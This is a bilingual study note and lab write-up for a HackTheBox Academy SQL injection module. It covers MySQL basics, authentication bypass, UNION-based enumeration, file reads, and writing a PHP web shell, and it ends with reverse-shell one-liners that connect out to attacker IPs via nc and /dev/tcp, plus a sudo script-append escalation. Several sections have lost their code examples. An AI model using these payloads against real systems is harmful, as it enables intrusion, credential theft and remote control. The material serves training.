Table of Contents

Introduction

SQL Injection(SQLi)

Use Cases and Impact

Prevention

Databases

Intro to Databases

Database Management Systems

Architecture

Types of Databases

Relational Databases

Non-relational Databases

SQL injections are completely different than NoSQL injections

MySQL

Intro to MySQL

Structured Query Language(SQL)

Command Line

The -p flag should be passed empty, so we are prompted to enter the password and do not pass it directly on the command line since it could be stored in cleartext in the bash_history file.

When we do not specify a host, it will default to the localhost server. We can specify a remote host and port using the -h and -P flags.

    # mysql -u root -h docker.hackthebox.eu -P 3306 -p 
    

Creating a database

SQL statements aren't case sensitive, which means 'USE users;' and 'use users;' refer to the same command. However, the database name is case sensitive, so we cannot do 'USE USERS;' instead of 'USE users;'. So, it is a good practice to specify statements in uppercase to avoid confusion.

Tables

    mysql> DESCRIBE logins;

SQL Statements

INSERT Statement

注意：跳过带有“NOT NULL”约束的列将导致错误，因为它是必需值。

注意：示例将明文密码插入表中，仅用于演示。这是一种不好的做法，因为在存储之前应始终对密码进行散列/加密。

SELECT Statement

DROP Statement

'DROP' 语句将在不确认的情况下永久且完全地删除表，因此应谨慎使用。

ALTER Statement

UPDATE Statement

Query Results

Sorting Results

LIMIT results

WHERE Clause

注意：字符串和日期数据类型应该用单引号（'）或双引号（"）括起来，而数字可以直接使用。

LIKE Clause

    mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
    mysql> SELECT * FROM logins WHERE username like '___';
    
    

SQL Operators

AND Operator

OR Operator

NOT Operator

Symbol Operators

SQL Injections

Intro to SQL Injections

Use of SQL in Web Applications

What is an Injection?

在上面的示例中，我们接受用户输入并将其直接传递给 SQL 查询而不进行清理。

清理是指删除用户输入中的任何特殊字符，以阻止任何注入尝试。

当应用程序将用户输入误解为实际代码而不是字符串时，就会发生注入，从而更改代码流并执行它。这可以通过注入一个特殊字符（如 ( ')）来转义用户输入边界，然后编写要执行的代码，如 JavaScript 代码或 SQL 注入中的 SQL。除非用户输入被清理，否则很可能会执行注入的代码并运行它。

SQL Injection

Syntax Errors

Types of SQL Injections

Subverting Query Logic

Authentication Bypass

SQLi Discovery

test whether the login form is vulnerable to SQL injection

a SQL error was thrown instead of the Login Failed message

OR Injection

Note: AND操作符的优先级高于OR

可见想要成功注入，需要username是正确的才行

Auth Bypass with OR operator

简化:

Using Comments

Comments

注意：在 SQL 中，仅使用两个破折号不足以开始注释。所以，它们后面必须有一个空格，所以注释以 (--) 开头，末尾有一个空格。

提示：如果您在浏览器中的 URL 中输入有效负载，（#）符号通常被视为标签，不会作为 URL 的一部分传递。为了在浏览器中使用 (#) 作为注释，我们可以使用 '%23'，它是一个 URL 编码 (#) 符号。

Auth Bypass with comments

Another Example

The above query ensures that the user's id is always greater than 1, which will prevent anyone from logging in as admin. Additionally, we also see that the password was hashed before being used in the query. This will prevent us from injecting through the password field because the input is changed to a hash.

那么我们如何以管理员身份登录呢?

语法错误，因为有一个未封闭的左括号(右括号被注释掉了)

Union Clause

So far, we have only been manipulating the original query to subvert the web application logic and bypass authentication, using the OR operator and comments. However, another type of SQL injection is injecting entire SQL queries executed along with the original query. This section will demonstrate this by using the MySQL Union clause to do SQL Union Injection.

Union

Note: The data types of the selected columns on all positions should be the same.

Even Columns

A UNION statement can only operate on SELECT statements with an equal number of columns. For example, if we attempt to UNION two queries that have results with a different number of columns, we get the following error:

Once we have two queries that return the same number of columns, we can use the UNION operator to extract data from other tables and databases.

The above query would return username and password entries from the passwords table, assuming the products table has two columns.

Un-even Columns

我们会发现原始查询的列数通常与我们要执行的 SQL 查询的列数不同，因此我们必须解决这个问题。例如，假设我们只有一列。在这种情况下，我们希望SELECT，我们可以为剩余的必需列放置垃圾数据，以便我们使用的列总数UNION与原始查询保持相同。

例如，我们可以使用任何字符串作为垃圾数据，查询将返回该字符串作为该列的输出。如果我们UNION使用字符串"junk"，则SELECT查询将是SELECT "junk" from passwords，它将始终返回junk。我们也可以使用数字。例如，查询SELECT 1 from passwords将始终1作为输出返回。

注意： 用垃圾数据填充其他列时，我们必须确保数据类型与列数据类型匹配，否则查询会返回错误。为了简单起见，我们将使用数字作为我们的垃圾数据，这对于跟踪我们的有效载荷位置也很方便，我们将在后面讨论。

提示： 对于高级 SQL 注入，我们可能希望简单地使用 'NULL' 来填充其他列，因为 'NULL' 适合所有数据类型。

原始查询有2列的表

原始查询有4列的表

Union Injection

Detect number of columns

Using ORDER BY :

We have to inject a query that sorts the results by a column we specified, 'i.e., column 1, column 2, and so on', until we get an error saying the column specified does not exist.

For example, we can start with order by 1, sort by the first column, and succeed, as the table must have at least one column. Then we will do order by 2 and then order by 3 until we reach a number that returns an error, or the page does not show any output, which means that this column number does not exist. The final successful column we successfully sorted by gives us the total number of columns.

If we failed at order by 4, this means the table has three columns, which is the number of columns we were able to sort by successfully. Let us go back to our previous example and attempt the same, with the following payload:

Reminder: We are adding an extra dash (-) at the end, to show you that there is a space after (--).

Using Union

Location of Injection

While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output.

相比使用null作为junk data，使用数字的好处:

This is the benefit of using numbers as our junk data, as it makes it easy to track which columns are printed, so we know at which column to place our query. To test that we can get actual data from the database 'rather than just numbers,' we can use the @@version SQL query as a test and place it in the second column instead of the number 2:

Exploitation

Database Enumeration

MySQL Fingerprinting

INFORMATION_SCHEMA Database

有了以上信息，我们就可以形成我们的SELECT语句来转储 DBMS 内任何数据库中任何表的任何列中的数据。这是我们可以利用INFORMATION_SCHEMA数据库的地方。

INFORMATION_SCHEMA数据库包含有关服务器上存在的数据库和表的元数据。该数据库在利用 SQL 注入漏洞时起着至关重要的作用。

to reference a table present in another DB, we can use the dot ‘.’ operator

SCHEMATA

To start our enumeration, we should find what databases are available on the DBMS. The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server. It is used to obtain database names so we can then query them. The SCHEMA_NAME column contains all the database names currently present.

Let us find out which database the web application is running to retrieve ports data from. We can find the current database with the SELECT database() query. We can do this similarly to how we found the DBMS version in the previous section:

TABLES

Before we dump data from the dev database, we need to get a list of the tables to query them with a SELECT statement. To find all tables within a database, we can use the TABLES table in the INFORMATION_SCHEMA Database.

The TABLES table contains information about all tables throughout the database. This table contains multiple columns, but we are interested in the TABLE_SCHEMA and TABLE_NAME columns. The TABLE_NAME column stores table names, while the TABLE_SCHEMA column points to the database each table belongs to. This can be done similarly to how we found the database names. For example, we can use the following payload to find the tables within the dev database:

Note: we added a (where table_schema='dev') condition to only return tables from the 'dev' database, otherwise we would get all tables in all databases, which can be many.

COLUMNS

To dump the data of the credentials table, we first need to find the column names in the table, which can be found in the COLUMNS table in the INFORMATION_SCHEMA database. The COLUMNS table contains information about all columns present in all the databases. This helps us find the column names to query a table for. The COLUMN_NAME, TABLE_NAME, and TABLE_SCHEMA columns can be used to achieve this. As we did before, let us try this payload to find the column names in the credentials table:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

The table has two columns named username and password. We can use this information and dump data from the table.

Data

Now that we have all the information, we can form our UNION query to dump data of the username and password columns from the credentials table in the dev database. We can place username and password in place of columns 2 and 3:

We were able to get all the entries in the credentials table, which contains sensitive information such as password hashes and an API key.

Reading Files

除了从 DBMS 中的各种表和数据库中收集数据之外，还可以利用 SQL 注入来执行许多其他操作，例如在服务器上读取和写入文件，甚至在后端服务器上获得远程代码执行。

Privileges

let us start by gathering data about our user privileges within the database to decide whether we will read and/or write files to the back-end server.

检查我们的权限，看看我们能做什么。为了能够找到我们当前的数据库用户，我们可以使用以下任何查询：

或者

我们可以通过以下查询测试我们是否具有超级管理员权限：

We can also dump other privileges we have directly from the schema, with the following query:

Once again, we can add WHERE user="root" to only show our current user root privileges. Our payload would be:

We see that the FILE privilege is listed for our user, enabling us to read files and potentially even write files. Thus, we can proceed with attempting to read files.

LOAD_FILE

Another Example

Writing Files

Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files.

Write File Privileges

The secure_file_priv variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand, NULL means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the FILE privilege. However, MySQL uses /var/lib/mysql-files as the default folder. This means that reading files through a MySQL injection isn't possible with default settings. Even worse, some modern configurations default to NULL, meaning that we cannot read/write files anywhere within the system.

So, let's see how we can find out the value of secure_file_priv. Within MySQL, we can use the following query to obtain the value of this variable:

SELECT INTO OUTFILE

Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the SELECT .. INTO OUTFILE statement. The SELECT INTO OUTFILE statement can be used to write data from select queries into files. This is usually used for exporting data from tables.

Tip: Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.

Writing Files through SQL Injection

Note:  To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

Note: We see the string we dumped along with '1', '3' before it, and '4' after it. This is because the entire 'UNION' query result was written to the file. To make the output cleaner, we can use "" instead of numbers.

Writing a Web Shell

Once again, we don't see any errors, which means the file write probably worked. This can be verified by browsing to the /shell.php file and executing commands via the 0 parameter, with ?0=id in our URL:

Mitigations

Mitigating SQL Injection

Input Sanitization

As we can see, the script takes in the username and password from the POST request and passes it to the query directly. This will let an attacker inject anything they wish and exploit the application. Injection can be avoided by sanitizing any user input, rendering injected queries useless. Libraries provide multiple functions to achieve this, one such example is the mysqli_real_escape_string() function. This function escapes characters such as ' and ", so they don't hold any special meaning.

Input Validation

用户输入也可以根据用于查询的数据进行验证，以确保它与预期的输入相匹配。例如，当将电子邮件作为输入时，我们可以验证输入的形式是否为...@email.com，等等。

We see the GET parameter port_code being used in the query directly. It's already known that a port code consists only of letters or spaces. We can restrict the user input to only these characters, which will prevent the injection of queries. A regular expression can be used for validating the input:

User Privileges

正如最初所讨论的，DBMS 软件允许创建具有细粒度权限的用户。我们应该确保查询数据库的用户只有最低权限。

超级用户和具有管理权限的用户永远不应与 Web 应用程序一起使用。这些帐户可以访问功能和特性，这可能会导致服务器受损。

The commands above add a new MariaDB user named reader who is granted only SELECT privileges on the ports table. We can verify the permissions for this user by logging in:

The snippet above confirms that the reader user cannot query other tables in the ilfreight database. The user only has access to the ports table that is needed by the application.

Web Application Firewall

Web Application Firewalls (WAF) are used to detect malicious input and reject any HTTP requests containing them. This helps in preventing SQL Injection even when the application logic is flawed. WAFs can be open-source (ModSecurity) or premium (Cloudflare). Most of them have default rules configured based on common web attacks. For example, any request containing the string INFORMATION_SCHEMA would be rejected, as it's commonly used while exploiting SQL injection.

Parameterized Queries

Conclusion

上面的列表并不详尽，仍然可以利用基于应用程序逻辑的 SQL 注入。显示的代码示例基于 PHP，但逻辑适用于所有常见语言和库。

Closing it Out

Skills Assessment - SQL Injection Fundamentals

1. 通过SQLi绕权登录

常规的(payload中单引号数量为偶数个)注入写法都没用,试了如下几个都失败:

     . username:  admin                   password:  admin
     . username:  admin                   password:  password
     . username： sb' OR '1'='1           password:  sb' OR '1'='1
     . username:  sb' OR '1'='1           password:  sb
     . username:  sb' OR '1'='1-- -       password:  sb
     

根据提示试了下payload中单引号数量为奇数个并且加上注释的写法：

    username: sb' OR '1'='1'-- -           password: sb     (不要从这里复制username，因为破折号在掘金上是格式符，解码编码方式不同)

成功!

其实在github.com/swisskyrepo…

也可以找到许多常见的payload，可以都试一下

画线的这个同样可以成功

2. 数据库枚举

枚举前可以先检测一下注入漏洞:

的确存在注入漏洞，说明可以使用UNION进行数据库枚举

先看看当前表有多少列，ORDER BY 与 SELECT 都可以,经检测有5列，第1列不显示

    SB' UNION SELECT 1,2,3,4,5-- -
    

正式开始枚举

    SB' UNION SELECT 1,@@VERSION,3,4,5-- -
    

MariaDB，有点高兴，secure_file_priv默认为empty

    SB' UNION SELECT 1,DATABASE(),3,4,5-- -        

当前在ilfreight数据库

    SB' UNION SELECT 1,USER(),3,4,5-- -

当前为root用户

    cn' UNION SELECT 1, super_priv, 3, 4, 5 FROM mysql.user WHERE user="root"-- -

当前为DBA(database administator)

    cn' UNION SELECT 1, grantee, privilege_type, is_grantable, 5 FROM information_schema.user_privileges -- -

当前有create权限--->注入webshell

3. 注入webshell

    CN' UNION SELECT "",'<?PHP SYSTEM($_REQUEST[0]); ?>', "", "", "" INTO OUTFILE '/VAR/WWW/HTML/SHELL.PHP'-- -
    

意料之外的事情发生了:

???问号脸

我去，我哪知道什么文件啊，随便往一个文件去注入这个<?PHP SYSTEM($_REQUEST[0]); ?>倒是不难，但注入了以后我如何通过web去访问它以便让它执行呢?

关注点应该还是在apache的/var/www/html/下，但是我没有往这个位置create/write的权限呀???

看提示

the URL after I log in: http://142.93.39.188:30698/dashboard/dashboard.php

/dashboard/dashboard.php存放在linux的哪里呢，竟然能通过web直接访问，那么应该也是在html下的，那么dashboard.php应该是存放于/var/www/html/dashboard/dashboard.php下

尝试把webshell注入到/var/www/html/dashboard/dashboard.php呢?

    CN' UNION SELECT "",'<?PHP SYSTEM($_REQUEST[0]); ?>', "", "", "" INTO OUTFILE '/VAR/WWW/HTML/DASHBOARD/SHELL.PHP'-- -
    

注入以后当前主页没反应，应该是成功了吧?

访问试试:

成功!

直接cat没反应:

一层层列出来吧:

成功找到flag:

4. 总结

关于通过注入绕过权限认证:

1. payload中单引号数目既可以为偶数，也可以为奇数
2. 关于先把密码md5加密后再到数据库中查询(config.php文件中)
3. 关于为什么上面列举的那些注入不成功--->因为密码被md5解密过以后再进行的mysql查询，md5加密后就导致密码payload中的特殊字符消失了

挖掘一些其他信息,以及如何利用:(通过枚举及其他数据库其他表)

1. 我挖掘到config.php
2. 我挖掘到关于DBMS的一些配置，有个配置是127.0.0.1 ，也就是只允许本地用户访问DBMS，难怪我 # mysql -u root -h 142.93.39.188 -P 31650或者3306 一直没反应
3. 我nmap扫描不了靶机，即使指定了开放的http端口，不知道为什么，ping也ping不通，但是whatweb却可以,访问31650端口的apache的http服务也没问题，应该也是靶机的配置原因。

4. apache的http服务在31650端口监听

所以我们想访问它的网页需要指明端口31650，而不是默认的80

关于为什么对/var/www/html/ 直接write/create没权限，却对/var/www/html/dashboard有权限？

1. 明明secure_file_priv variable是empty,并且当前账户还是DBA,为什么还没有对/var/www/html的write/create权限呢?
2. 那为什么对/var/www/html/dashboard又有权限呢？
3. 可以用revershell仔细查一下各目录的权限，看看各文件的创建者之类的(我依稀记得当时查这个文件创建者有个用户是mysql

对backup和ilfreight数据库感兴趣

对backup. admin_bk感兴趣

得到了一对:

    来自：backup.admin_bk
    
    username: admin
    password: Inl@n3_fre1gh7_adm!n     //看起来像加密过
    
    

对ilfreight.users感兴趣

得到了一对:

    来自: ilfreight.users
    
    username: adam
    password: 1be9f5d3a82847b8acca40544f953515        //看起来像加密过
    

抓取一下网页源代码:

    SB' UNION SELECT 1,LOAD_FILE("/VAR/WWW/HTML/DASHBOARD/DASHBOARD.PHP"),3,4,5-- -

这是直接在网页上查看的源代码:

这是抓取的网页源代码:

可见真正显示给用户的php网页源码只有一部分

爬取到的源码的一些关键信息:

dashboard.php:

引入了上级目录的一个config.php文件

    CN' UNION SELECT 1, LOAD_FILE("/VAR/WWW/HTML/CONFIG.PHP"), 3, 4, 5-- -
    

config.php: 爬取到了一些数据库连接信息:

    'DB_HOST' => '127.0.0.1',   //说明只允许从服务器本地连接数据库
    'DB_USERNAME' => 'root',
    'DB_PASSWORD' => 'password',
    'DB_DATABASE' => 'ilfreight'

爬取登录页面源代码试试:

    CN' UNION SELECT 1, LOAD_FILE("/VAR/WWW/HTML/INDEX.PHP"), 3, 4, 5-- -
    

index.php:

爬取到了一些登录有关信息:

     $username = $_POST['username'];
     $password = md5($_POST['password']);
     $query = "SELECT * FROM users WHERE username='" . $username . "' AND password = '" . $password . "';";

也就是说，真正的sql查询语句中的password，是经过md5加密过的password。

尝试注入去拿一个reverse shell:

暂时拿不到

那就用webshell来查看一些权限信息吧

难怪我不能直接往/var/www/html/下write/create文件

也难怪我可以往/var/www/html/dashboard下write/create文件

尝试获取reverse shell然后提权

其实能想到几种方案:

1. 通过mysql的into outfile注入获取reverse shell的php代码到.php文件中,然后通过浏览器访问该文件对应的页面

注入有些问题，注入后的.php文件中的php代码有一部分被自动注释了，不知道为什么。

2. 通过webshell直接用linux指令创建一个.sh文件,然后把获取reverse shell的linux指令echo到该.sh文件中，然后执行该.sh文件

将指令注入到.sh文件中时一定要注意指令中的特殊符号，因为该webshell的指令是通过url传输的，而url对部分特殊字符敏感，比如&字符，这里必须要用其%26编码代替，不然无法注入到.sh文件中

不管以上述哪种方式，假设现在我们成功将获取reverse shell的代码注入到靶机中了(假如使用webshell方式注入)。

但两种常见的获取reverse shell的代码，都无法取得成功，即使我已经提前用nc监听kali主机的端口了，并且reverse shell代码中的反连接到的ip与port都与nc一致。

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc 192.168.46.68 8443 >/tmp/f      
    //通过url(webshell)注入的时候都把&改成%26
    
    bash -c 'sh -i &>/dev/tcp/192.168.46.68/8443 0>& 1'
    //通过url(webshell)注入的时候都把&改成%26
    

这两段代码既可以以php的形式注入到.php文件中，也可以以linux指令的形式注入到.sh文件中

但执行失败的原因为:

第一段代码失败的原因:

 靶机根本没有nc服务。而可以说，没有nc就没有reverse shell，毕竟reverse shell的
 reverse connection 是靶机上的nc发起的(如果使用这种reverse shell注入代码：
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>1|nc ![]()192.168.46.68 8443 >/tmp/f)
 
 我想给靶机安装个nc,发现靶机yum也没安装,然后想安装yum,发现安装yum要root权限,放弃.
 

第二段代码失败的原因:

没有在靶机/dev下write的权限，因此根本创建不了/dev/tcp这个目录

到此位置吧。这个reverse shell目前是获取不了了。

再次总结(关于HTB ACADEMY的GETTING STARTED模块中的提权的一个问题)

立足用的代码如下:

    <?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>
    

是通过在网页中的一个可上传php文件的位置上传这段代码并访问生效的

提权用的代码如下:

     $ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh

是通过reverse shell发现了服务器上的一个能够以root用户身份执行的.sh文件，并且在里面追加这段代码实现的提权

nibbler用户可以/home/nibbler/personal/stuff/monitor.sh使用 root 权限运行该文件。由于我们可以完全控制该文件，如果我们在其末尾附加一个反向 shell 单行代码并执行，sudo我们应该以 root 用户的身份获得一个反向 shell。让我们编辑该monitor.sh文件以附加一个反向 shell 单行。